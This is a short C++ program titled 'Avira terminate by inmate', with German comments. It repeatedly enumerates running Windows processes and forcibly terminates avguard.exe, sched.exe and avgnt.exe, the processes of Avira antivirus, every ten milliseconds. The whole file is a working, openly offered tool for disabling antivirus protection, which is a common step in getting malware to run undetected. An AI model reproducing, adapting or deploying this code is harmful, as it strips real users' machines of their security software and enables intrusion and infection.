#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
bool TerminateProc(char * ProcName);
int main()
{
cout << "Avira terminate by inmate\n\n";
cout << "Credits:\n [+]http://support.microsof*****m/kb/175030/de\n [+]Executer";
while(true){
Sleep(10);
TerminateProc("avguard.exe");
TerminateProc("sched.exe");
TerminateProc("avgnt.exe");
}
getchar();
}
bool TerminateProc(char * ProcName) {
HANDLE SnapHandle; // Handle des 'Snapshot'
HANDLE ProcHandle; // Handle für OpenProcess
PROCESSENTRY32 pe; // Struktur die Informationen über den Prozess enthält.
//Snapshot der Informationen im System wird erstellt.
SnapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); //TH32CS_SNAPPROCESS ist der Parameter für die Prozess informationen.
pe.dwSize = sizeof(PROCESSENTRY32); //dwSize-Member auf sizeof(PROCESSENTRY32) setzen.
Process32First(SnapHandle, &pe); // Process32First einmalig aufrufen.
while(Process32Next(SnapHandle, &pe)){ // Schleife ist so lange aktiv bis Process32Next False zurückliefert.
if(!strcmp(pe.szExeFile, ProcName)) // Der szExeFile und ProcName müssen den gleichen Namen haben, nämlich den Namen des Prozesses den wir beenden wollen. strcmp vergleicht die Inhalte.
// (In szExeFile ist die ausführbare Datei und der Pfad der Datei 'gespeichert'.
{
ProcHandle = OpenProcess(PROCESS_TERMINATE, NULL, pe.th32ProcessID); // Prozess wird mit dem Parameter zum beenden geöffnet (PROCESS_TERMINATE)
TerminateProcess(ProcHandle,NULL); // Process wird beendet.
CloseHandle(ProcHandle); // Handle wird geschlossen.
}
}
CloseHandle(SnapHandle); // Snapshot Handle wird geschlossen.
return(0);
}